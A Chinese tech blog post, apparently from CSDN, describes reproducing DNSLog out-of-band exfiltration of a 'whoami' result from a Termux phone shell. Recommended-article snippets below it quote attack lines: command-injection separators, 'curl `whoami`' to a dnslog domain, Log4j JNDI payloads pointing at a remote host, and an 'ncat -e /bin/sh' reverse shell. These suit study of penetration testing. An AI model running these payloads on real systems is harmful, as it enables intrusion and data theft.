用安卓手机实现一次dnslog带外whoami

最新推荐文章于 2025-03-19 00:20:49 发布
原创 最新推荐文章于 2025-03-19 00:20:49 发布 · 1k 阅读 · 1 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。

本文通过使用手机上的Termux应用，详细介绍了如何利用DNSLog实现带外数据传输的过程。作者通过设置特定的域名记录，成功实现了本地ping命令携带自定义数据的功能。

摘要生成于 C知道 ，由 DeepSeek-R1 满血版支持， 前往体验 >

昨天我的macbook因为电池报废，所以我不得不暂时拓展一条新的线路来学习。那就用手机吧。复现一下前天面试官提到的dnslog带外数据。
命令行用的termux
在这里插入图片描述
一个记录dns查询的网站，记录了想要带外的whoami是u0_a150
在这里插入图片描述
我试着自己讲一下原理，去百度也可搜索到。
当访问一个域名的时候首先浏览器会查看缓存，找ip。没找到会去找操作系统的host文件。再没找到会询问dns服务器，再没找到dns服务器会询问根服务器，然后依次查询下级域名。当访问到最后一级域名的时候是用户可控的。比如用户自己的域名是9f0xfb.dnslog.cn，他可以设置记录任何父域名为9f0xfb.dnslog.cn的请求。比如admin.9f0xfb.dnslog.cn。这时候本地ping的时候只需要带上你想要输出的结果即可

fastjson 判断是否包含_通过dnslog探测fastjson的几种方法
weixin_39816362的博客
12-18 1439
0x01 背景在渗透测试中遇到json数据一般都会测试下有没有反序列化。然而json库有fastjson,jackson,gson等等。怎么判断后端不是fastjson呢？这就需要构造特定的payload了。昨天翻看fastjson源码时发现了一些可以构造dns解析且没在黑名单当中的类，于是顺手给官方提了下Issue。有趣的是后续的师傅们讨论还挺热闹的，我也在这次讨论中学习了很多。这篇文章算是对那...
记一次攻防演练中的若依（thymeleaf 模板注入）getshell
蚁景网安学院
05-27 2514
记一次攻防演练中幸运的从若依弱口令到后台getshell的过程和分析。首先，我会先把目标的二级域名拿去使用搜索引擎来搜索收集到包含这个目标二级域名的三级域名或者四级域名的网站，这样可以快速的定位到你所要测试的漏洞资产。
ICMP带外查询Dnslog
AlunXZhou的博客
03-28 595
ping -c 1 /127.0.0.1 || whoami（前为假，输出后命令，否则不输出后命令）ping -c 1 127.0.0.1 && whoami（前命令必须为真，否则后命令不输出）管道符：| (管道符号) ||（逻辑或） &&（逻辑与） &(后台任务符号)ping -c 1 127.0.0.1;ping -c 127.0.0.1 `whoami` （反引号为报错输出）ping -c 1 127.0.0.1 | whoami（只输出后命令）| || & && ``(特有``和;
Web漏洞知识梳理笔记--DNSlog数据外带
qq_47742555的博客
12-24 1552
DNSlog 数据外带技术利用了服务器发出的 DNS 请求来确认漏洞的存在和执行结果。通过利用 DNSlog 服务，攻击者可以有效检测 SSRF、盲注、RCE 等漏洞，并可能外带一些敏感数据。为了防范此类攻击，需要对外部请求进行严格限制，并加强对服务器网络访问的监控与防护。dnslog.cn。
dnslog注入
weixin_33928137的博客
12-21 306
　　 使用Powershell反弹Meterpreter Shell cloudeye在windows下的应用 今天突发奇想的一个姿势，算不上什么技巧，分享一下吧。看到有人问过。http://zone.wooyun.org/content/27440其实很羡慕linxu的curl `whoami`.xxxxxx.dnslog.info这样去获取数据什么的。windows下...
SQL注入--DNSlog外带注入--理论
m0_56019217的博客
11-23 1075
DNS的作用是将域名解析为IP而DNSlog就是存储在DNS服务器上的域名信息，它记录着用户对域名访问信息。可以理解为DNS服务器上的日志文件。比如，以点为分隔，从右向左依次是顶级域名、二级域名、三级域名。即，net是顶级域名，csdn是二级域名，blog是三级域名。域名不区分大小写。在进行ping命令时会使用DNS解析：这里就是被解析后，与csdn.com进行了拼接，然后再去执行Ping命令。这里我们界面就回显得到了，也就是得到了的值。这个过程就可以被称为DNSlog外带。
picoCTF2018 Writeup之Web Exploitation
zwish的信安之路
09-16 1880
My New Website 打开发现是个登录界面，随便输入账号密码登陆成功，然后发现cookie里面有个admin字段为false，改为True(一定要大写) 得到flag：picoCTF{l0g1ns_ar3nt_r34l_92020990} Irish Name Repo 没有任何过滤的注入，直接到/admin登录页面，使用万能密码admin' or '1'='1登录即可 my r...
Linux操作系统中whoami命令是指,在Linux系统中使用who和whoami命令获取用户信息
weixin_39895096的博客
05-12 473
who用法：who [选项]... [ 文件 | 参数1 参数2 ]显示当前已登录的用户信息。-a, --all 等于-b -d --login -p -r -t -T -u 选项的组合-b, --boot 上次系统启动时间-d, --dead 显示已死的进程-H, --heading 输出头部的标题列--ips ...
DNSLog使用方法
weixin_37104668的博客
09-14 1万+
DNSLOG的原理 DNS的解析是递归与迭代相结合的，下面给出了当我们访问www.cloudcrowd.com.cn时，DNS的解析过程示意图。 其中，红色部分是可控的。我们只需要搭建一个红色部分的DNS服务器，并将要盲打或盲注的回显，放到自己域名的二级甚至三级域名上去请求，就可以通过DNS解析日志来获取到它们。 DNSLOG工具 如果有自己的服务器和域名，可以自建一个这样的平台，直接使用BugScan团队开源的工具搭建即可： https://github.com/BugScanTeam/DNSLog。
命令执行与代码执行
wbplife的博客
06-13 745
PHP应用在调用命令执行函数执行系统命令的时候，如果将前端用户的输入数据作为系统命令的参数拼接到命令行中，在没有过滤用户的输入的情况下，就会造成命令执行漏洞。由于PHP程序未对前端用户提交的数据进行严格过滤或限制，从而导致传入的字段被带入到命令执行函数中作为参数执行，造成GetShell或接管服务器权限等高危害的Web漏洞！# 出网-有回显方法一：然后写入Webshell方法二：反弹shell方法三：远程下载木马文件# 出网-无回显方法一：反弹shell方法二：远程下载木马文件。
dns外带数据【渗透测试】
热门推荐
leeezp的博客
09-09 32万+
上一篇文章我们已经介绍了搭建自己的dns log server 方法，接下来我将介绍如何通过dns query外带数据。下文中介绍的方法均为根据本人经验原创的方法，网上应该算是首次公开。
Log4j2漏洞实战
最新发布
2302_80982453的博客
03-19 377
7，访问http://47.122.51.245:8983/solr/admin/coresaction=${jndi:rmi://45.122.51.245:1099/5ltonm}可以看到⽹⻚被重定向到了我们的恶意类⽹址，回到宝塔查看。3，访问http://47.122.51.245:8983/solr/admin/coresaction=${jndi:ldap://${sys:java.version}.2bfvl6.dnslog.cn}4，返回dnslog.cn查看是否有回显。
DNSLog漏洞探测(二)之常用DNSLog平台
把自己活成一道光，因为你不知道，谁会借着你的光，走出了黑暗。请保持心中的善良，因为你不知道，谁会借着你的善良，走出了绝望。请保持你心中的信仰，因为你不知道，谁会借着你的信仰，走出了迷茫。请相信自己的力量，因为你不知道，谁会因为相信你，开始相信了自己....
12-10 6487
我们在上一篇文章中我们介绍了什么是DNSLog，如果我们自己要去搭建一个DNSLog的服务平台，还是比较复杂和麻烦的，所以我们可以直接去使用一些公开免费的DNSLog平台，DNSLog的平台非常的多，但是实际上大部分的DNSLog的平台都是昙花一现，真正意义上稳定持久的就只有那么几个，那么我们接下来给大家介绍几个常用且稳定的DNSLog平台吧。
android dns之dns服务器可用性机制，成功率低于门限则惩罚抑制(二)
lkxx_zw的专栏
11-27 781
文章目录1.3.3 rcode（dns response code）1.3.4 dns成功率低于75%，则设置该dns服务器为不可用（都不可用时则取消可用性限制）1.3.4.1 检查1，dns server上成功率低于目标门限，默认成功率门限75%，success_threshold1.3.4.2 检查2，dns sample统计样本集没有过期，默认过期时间半小时，sample_validity1...
基础入门-反弹SHELL&不回显带外&正反向连接&防火墙出入站&文件下载
今天是几号的博客
03-08 1612
ping命令走的ICMP协议，而防火墙禁用端口是控制TCP/UDP协议，也就是控制传输层，ncat -e /bin/sh x.x.x.x 5566 linux反弹windows上。NC(ncat)瑞士军刀：linux系统下自带，windows下需要下载。为什么开启防火墙后 whoami数据还是可以带外回显？ ping命令走的ICMP协议，而防火墙禁用端口是控制TCP/UDP协议，也就是控制传输层， 但是ICMP是网络层，是传输层下层，不受防火墙影响。所以可以使用ping命令将数据带出。
dnslog盲打学习
..
02-27 3448
前言 在渗透或者ctf中，我们可能会遇到一些没有回显的漏洞，这个时候可以通过dnslog来判断存不存在漏洞，并且得到漏洞执行的结果。 什么是dnslog dns是在我们输入一个域名如A.com时，会通过DNS把域名解析为ip，靠着dns解析到真正的ip地址127.0.0.1，这样子才能访问127.0.0.1服务器上的相应服务。 那么DNSlog是什么。DNSlog就是存储在DNS服务器上的域名信息，它记录着用户对域名www.baidu.com等的访问信息，类似日志文件。 可以通过这篇文章好好
快速搭建自用dnslog
寒星的博客
04-21 5039
快速搭建自用dnslog 前言 dnslog是常见的辅助验证漏洞的手段,为什么要自建dnslog？ 第三方dnslog在一些特殊时期会受到一股神秘力量影响变得不稳定甚至不能用 有些业务或者信息不方便使用第三方平台 常见的dnslog平台会被安全产品检测到 网上已经有很多开源的dnslog平台，且有不少的dnslog搭建教程，但是看下来感觉还是有点麻烦，而且不容易集成到自己平台。对于个人来说，很多步骤其实是可以省略的。前几天原来的dnslog的域名到期了，又重新买了个新的重新搭建了一次。正好分享一下我是如
反弹shell&数据不回显带外查询&pikaqiu靶场搭建
fencecat的博客
03-04 1643
解决无图形化：当我们想下载一个文件时，通常是通过浏览器的一个链接直接访问网站点击下载的，但是在实际的安全测试中，我们获取的权限只是一个执行命令的窗口，无法获取图形化界面，因此，我们就需要命令来实现文件的上传和下载。比如，当我们想上传一个文件到对方的服务器，我们应该想办法用命令让对方执行下载操作，而不可能直接打开对方的服务器的浏览器去下载，因为我们没有获取这样的权限，只能通过黑窗窗输入命令尝试。Windows->| & || &&Linux->; | || & && ``(特有``和;)
DNSlog外带原理及注入分析
Sentiment的博客
04-27 1万+
前言 最近一直听到DNSlog外带原理等词但对其原理一直只是自己的理解(回显DNS请求后的日志)并没有真正的了解过，所以这里做一下记录。 DNSlog原理 DNS DNS(Domain Name System)就是域名系统，负责把域名转换成IP地址；例如向浏览器访问a.com,浏览器就会将其解析成真实的IP访问对应服务器上的服务。 DNSlog DNSlog就是DNS的日志，DNS在域名解析的时候会留下域名和解析IP的记录 DNSlog外带原理 DNS在解析的时候会留下日志，我们将信息放在高级域名中，传递到
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值